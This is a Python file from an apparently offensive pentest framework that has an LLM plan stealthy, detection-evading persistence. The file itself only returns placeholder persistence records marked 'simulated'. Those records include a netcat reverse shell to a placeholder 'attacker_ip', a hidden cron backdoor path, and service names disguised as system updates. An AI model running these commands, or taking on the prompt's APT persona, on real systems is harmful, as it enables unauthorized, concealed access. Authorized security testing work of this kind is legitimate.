Files
NeuroSploit/legacy/agents_python/persistence_agent.py
T
CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine
Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 20:57:38 -03:00

251 lines
8.3 KiB
Python
Executable File

#!/usr/bin/env python3
"""
Persistence Agent - Maintain access to compromised systems
"""
import json
import logging
from typing import Dict, List
from core.llm_manager import LLMManager
logger = logging.getLogger(__name__)
class PersistenceAgent:
"""Agent responsible for maintaining access"""
def __init__(self, config: Dict):
"""Initialize persistence agent"""
self.config = config
self.llm = LLMManager(config)
logger.info("PersistenceAgent initialized")
def execute(self, target: str, context: Dict) -> Dict:
"""Execute persistence phase"""
logger.info(f"Starting persistence establishment on {target}")
results = {
"target": target,
"status": "running",
"persistence_mechanisms": [],
"backdoors_installed": [],
"scheduled_tasks": [],
"ai_recommendations": {}
}
try:
# Get previous phase data
privesc_data = context.get("phases", {}).get("privilege_escalation", {})
if not privesc_data.get("successful_escalations"):
logger.warning("No privilege escalation achieved. Limited persistence options.")
results["status"] = "limited"
# Phase 1: AI-Powered Persistence Strategy
logger.info("Phase 1: AI persistence strategy")
strategy = self._ai_persistence_strategy(context)
results["ai_recommendations"] = strategy
# Phase 2: Establish Persistence Mechanisms
logger.info("Phase 2: Establishing persistence mechanisms")
system_info = privesc_data.get("system_info", {})
os_type = system_info.get("os", "unknown")
if os_type == "linux":
results["persistence_mechanisms"].extend(
self._establish_linux_persistence()
)
elif os_type == "windows":
results["persistence_mechanisms"].extend(
self._establish_windows_persistence()
)
# Phase 3: Install Backdoors
logger.info("Phase 3: Installing backdoors")
results["backdoors_installed"] = self._install_backdoors(os_type)
# Phase 4: Create Scheduled Tasks
logger.info("Phase 4: Creating scheduled tasks")
results["scheduled_tasks"] = self._create_scheduled_tasks(os_type)
results["status"] = "completed"
logger.info("Persistence phase completed")
except Exception as e:
logger.error(f"Error during persistence: {e}")
results["status"] = "error"
results["error"] = str(e)
return results
def _ai_persistence_strategy(self, context: Dict) -> Dict:
"""Use AI to plan persistence strategy"""
prompt = self.llm.get_prompt(
"persistence",
"ai_persistence_strategy_user",
default=f"""
Plan a comprehensive persistence strategy based on the following context:
{json.dumps(context, indent=2)}
Provide:
1. Recommended persistence techniques (prioritized)
2. Stealth considerations
3. Resilience against system reboots
4. Evasion of detection mechanisms
5. Multiple fallback mechanisms
6. Cleanup and removal procedures
Response in JSON format with detailed implementation plan.
"""
)
system_prompt = self.llm.get_prompt(
"persistence",
"ai_persistence_strategy_system",
default="""You are an expert in persistence techniques and advanced persistent threats.
Design robust, stealthy persistence mechanisms that survive reboots and detection attempts.
Consider both Windows and Linux environments.
Prioritize operational security and longevity."""
)
try:
formatted_prompt = prompt.format(context_json=json.dumps(context, indent=2))
response = self.llm.generate(formatted_prompt, system_prompt)
return json.loads(response)
except Exception as e:
logger.error(f"AI persistence strategy error: {e}")
return {"error": str(e)}
def _establish_linux_persistence(self) -> List[Dict]:
"""Establish Linux persistence mechanisms"""
mechanisms = []
# Cron job
mechanisms.append({
"type": "cron_job",
"description": "Scheduled task for persistence",
"command": "*/5 * * * * /tmp/.hidden/backdoor.sh",
"status": "simulated"
})
# SSH key
mechanisms.append({
"type": "ssh_key",
"description": "Authorized keys persistence",
"location": "~/.ssh/authorized_keys",
"status": "simulated"
})
# Systemd service
mechanisms.append({
"type": "systemd_service",
"description": "Persistent system service",
"service_name": "system-update.service",
"status": "simulated"
})
# bashrc modification
mechanisms.append({
"type": "bashrc",
"description": "Shell initialization persistence",
"location": "~/.bashrc",
"status": "simulated"
})
return mechanisms
def _establish_windows_persistence(self) -> List[Dict]:
"""Establish Windows persistence mechanisms"""
mechanisms = []
# Registry Run key
mechanisms.append({
"type": "registry_run",
"description": "Registry autorun persistence",
"key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"status": "simulated"
})
# Scheduled task
mechanisms.append({
"type": "scheduled_task",
"description": "Windows scheduled task",
"task_name": "WindowsUpdate",
"status": "simulated"
})
# WMI event subscription
mechanisms.append({
"type": "wmi_event",
"description": "WMI persistence",
"status": "simulated"
})
# Service installation
mechanisms.append({
"type": "service",
"description": "Windows service persistence",
"service_name": "WindowsSecurityUpdate",
"status": "simulated"
})
return mechanisms
def _install_backdoors(self, os_type: str) -> List[Dict]:
"""Install backdoors"""
backdoors = []
if os_type == "linux":
backdoors.extend([
{
"type": "reverse_shell",
"description": "Netcat reverse shell",
"command": "nc -e /bin/bash attacker_ip 4444",
"status": "simulated"
},
{
"type": "ssh_backdoor",
"description": "SSH backdoor on alternate port",
"port": 2222,
"status": "simulated"
}
])
elif os_type == "windows":
backdoors.extend([
{
"type": "powershell_backdoor",
"description": "PowerShell reverse shell",
"status": "simulated"
},
{
"type": "meterpreter",
"description": "Meterpreter payload",
"status": "simulated"
}
])
return backdoors
def _create_scheduled_tasks(self, os_type: str) -> List[Dict]:
"""Create scheduled tasks"""
tasks = []
if os_type == "linux":
tasks.append({
"type": "cron",
"schedule": "*/10 * * * *",
"command": "Callback beacon every 10 minutes",
"status": "simulated"
})
elif os_type == "windows":
tasks.append({
"type": "scheduled_task",
"schedule": "Daily at 2 AM",
"command": "Callback beacon",
"status": "simulated"
})
return tasks